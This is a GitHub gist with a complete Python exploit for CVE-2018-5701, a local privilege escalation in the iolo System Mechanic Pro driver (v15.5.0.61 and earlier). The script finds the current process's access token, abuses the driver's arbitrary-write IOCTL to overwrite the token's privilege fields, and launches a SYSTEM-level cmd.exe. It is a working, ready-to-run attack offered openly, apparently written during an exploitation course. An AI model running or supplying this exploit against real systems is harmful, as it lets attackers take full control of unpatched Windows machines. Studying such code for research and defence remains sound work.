Last active
June 1, 2021 20:01
-
-
Save klezVirus/e69c1e745a789e4b5d2b3c7ed02da765 to your computer and use it in GitHub Desktop.
CVE-2018-5701: iolo System Mechanic Pro Local Privilege Escalation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE) | |
# Exploit Authors: d3adc0de | |
# CVE: CVE-2018-5701 | |
# Date: 01/06/2021 | |
# Vendor Homepage: https://www.iolo.com/ | |
# Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/ | |
# https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E | |
# Version: v.15.5.0.61 | |
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 | |
# Category: local exploit | |
# Platform: windows | |
# This is a re-implementation of the LPE exploit for the System Mechanic Driver, | |
# developed during the amazing Windows Kernel Exploitation Advanced course | |
# A great thanks to Ashfaq (@HackSysTeam) for the course, it was amazing! | |
import sys | |
import binascii | |
import struct | |
import os | |
from ctypes import * | |
from ctypes.wintypes import * | |
kernel32 = windll.kernel32 | |
ntdll = windll.ntdll | |
OpenProcessToken = windll.advapi32.OpenProcessToken | |
SystemExtendedHandleInformation = 64 | |
NTSTATUS = DWORD | |
PHANDLE = POINTER(HANDLE) | |
PVOID = LPVOID = ULONG_PTR = c_void_p | |
UINT32 = c_uint32 | |
DEVICE_NAME = "\\\\.\\AMP" | |
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)] | |
ntdll.NtQuerySystemInformation.restype = NTSTATUS | |
OpenProcessToken.argtypes = [HANDLE, DWORD , PHANDLE] | |
OpenProcessToken.restype = BOOL | |
class WriteWhatWhere(Structure): | |
# Misleading, we can only write 0xfffffffe in the address of "Where" | |
_fields_ = [ | |
("Header", UINT32), | |
("Trigger", PVOID), | |
("Where", PVOID) | |
] | |
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): | |
_fields_ = [ | |
("Object", PVOID), | |
("UniqueProcessId", PVOID), | |
("HandleValue", PVOID), | |
("GrantedAccess", ULONG), | |
("CreatorBackTraceIndex", USHORT), | |
("ObjectTypeIndex", USHORT), | |
("HandleAttributes", ULONG), | |
("Reserved", ULONG), | |
] | |
class SYSTEM_HANDLE_INFORMATION_EX(Structure): | |
_fields_ = [ | |
("NumberOfHandles", PVOID), | |
("Reserved", PVOID), | |
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), | |
] | |
def close_handle(handle): | |
kernel32.CloseHandle(handle) | |
def get_token_by(target_pid, data, _filter=None): | |
header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX)) | |
print('[+] Searching access token address') | |
data = bytearray(data[16:]) | |
current_entry = 0 | |
address = None | |
while current_entry < header[0].NumberOfHandles: | |
address, pid, handle = struct.unpack('<QQQ', data[:24]) | |
data = data[40:] | |
current_entry += 1 | |
if pid != target_pid: | |
continue | |
if _filter and handle != _filter.value: | |
continue | |
break # Found | |
return address | |
def get_token_address(): | |
status_info_length_mismatch = 0xC0000004 | |
token_query = 8 | |
current_process_handle = HANDLE(kernel32.GetCurrentProcess()) | |
pid = kernel32.GetCurrentProcessId() | |
print('[+] Current Process PID: ' + str(pid)) | |
p_handle = HANDLE() | |
if OpenProcessToken(current_process_handle, token_query, byref(p_handle)) == 0: | |
print('[-] Error getting token handle: ' + str(kernel32.GetLastError())) | |
sys.exit(1) | |
print('[+] Found token handle at: {:08x}'.format(p_handle.value)) | |
nt_status = status_info_length_mismatch | |
return_length = DWORD(0) | |
system_information_length = 0 | |
handle_info = (c_ubyte * system_information_length)() | |
while nt_status == status_info_length_mismatch: | |
system_information_length += 0x1000 | |
handle_info = (c_ubyte * system_information_length)() | |
nt_status = ntdll.NtQuerySystemInformation( | |
SystemExtendedHandleInformation, | |
byref(handle_info), | |
system_information_length, | |
byref(return_length) | |
) | |
token = get_token_by(pid, handle_info, _filter=p_handle) | |
if token is None: | |
print('[-] Error fetching token address') | |
sys.exit(1) | |
print('[+] Found token at {:08x}'.format(token)) | |
return token | |
def write(where): | |
global device_handle | |
bytes_returned = c_ulong() | |
ioctl_arbitrary_overwrite = 0x226003 | |
user_data = c_buffer(32) | |
user_data_p = addressof(user_data) + 32 | |
write_what_where = WriteWhatWhere() | |
# Must be eight or we won't reach the vulnerable function | |
write_what_where.Header = 0x8 | |
# Pointer to userland buffer | |
write_what_where.Trigger = user_data_p | |
# Pointer to overwrite with 0xfffffffe | |
write_what_where.Where = where | |
www = binascii.hexlify(bytes(bytearray(write_what_where))) | |
print("[+] Write what where structure") | |
print(" [>] Full structure: {}".format(b' '.join([www[i:i + 16] for i in range(0, 48, 16)]))) | |
print(" [>] What : 0xfffffffe") | |
print(" [>] Where: {:08x}".format(write_what_where.Where)) | |
success = kernel32.DeviceIoControl( | |
device_handle, | |
ioctl_arbitrary_overwrite, | |
byref(write_what_where), | |
sizeof(write_what_where), | |
0, | |
0, | |
byref(bytes_returned), | |
None | |
) | |
if not success: | |
print(" [-] Unable To Send DeviceIoControl") | |
return | |
def exploit(device_handle): | |
""" | |
# System privileges | |
nt!_SEP_TOKEN_PRIVILEGES | |
+0x000 Present : 0x0000001f`f2ffffbc | |
+0x008 Enabled : 0x0000001e`60b1e890 | |
+0x010 EnabledByDefault : 0x0000001e`60b1e890 | |
""" | |
token = get_token_address() | |
if token is None: sys.exit(-1) | |
# NOTE: We add +1 to ensure that the low bytes are 0xff. | |
for offset in [0x40, 0x48, 0x50]: | |
write(token + offset + 1) | |
print('[+] Success! You should have a system shell.') | |
print('[+] Check your privileges: !token {:08x}'.format(token)) | |
os.system('cmd.exe') | |
def get_device_handle(device): | |
open_existing = 0x3 | |
generic_read = 0x80000000 | |
generic_write = 0x40000000 | |
kernel32.CreateFileA.restype = error_if_zero | |
handle = kernel32.CreateFileA( | |
device, | |
generic_read | generic_write, | |
None, | |
None, | |
open_existing, | |
None, | |
None | |
) | |
if not handle or handle == -1: | |
print("\t[-] Unable to get device handle") | |
sys.exit(-1) | |
else: | |
print('[+] Got Driver Handle: ' + str(handle)) | |
return handle | |
def error_if_zero(handle): | |
if handle == 0: | |
raise WinError() | |
else: | |
return handle | |
if __name__ == "__main__": | |
global device_handle | |
device_handle = get_device_handle(DEVICE_NAME) | |
exploit(device_handle) | |
close_handle(device_handle) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment